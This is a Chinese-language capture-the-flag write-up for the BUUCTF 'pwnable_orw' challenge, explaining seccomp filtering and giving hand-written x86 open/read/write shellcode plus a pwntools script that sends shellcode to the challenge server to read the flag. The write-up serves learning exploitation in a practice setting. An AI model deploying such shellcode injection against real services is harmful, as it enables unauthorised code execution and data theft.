BUUCTF:pwnable_orw(一道需要自己写入汇编的题目)

需要自己写入一段shellcode。
但这道题的特殊之处就在于,这道题调用orw_seccomp函数后,会禁止一些系统调用,只会保留一些安全的系统调用。

seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时 seccomp 边排上了用场,他可以过滤掉某些 syscall,只允许使用部分 syscall。
这道题为我们保留了 open,read,write函数的调用,即我们可以打开flag文件,然后读出flag
然而写一段汇编代码并不像直接写c语言那么简单
1,sys_open(const char __user *filename, int flags, int mode)
push 0x0 #/x00 push 0x67616c66 #'flags'小端序 mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 #sys_open(flags,0,0)
2.sys_read(unsigned int fd, char __user * buf, size_t count)
mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x102; #对应字节数 int 0x80;
3.sys_write(unsigned int, fd, const char __user *, buf, size_t, count))
mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80;
当然,wp中还有一个更简单的办法,让pwntools代你写:
from pwn import *
r = remote('node4.buuoj.cn',29213)
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()
这道题算是让我长见识了,挺有趣的一道题,学到了不少。但以我个人目前的实力来看,单独做出来应该是比较困难的,还需要继续学习,看一看题。

浙公网安备 33010602011771号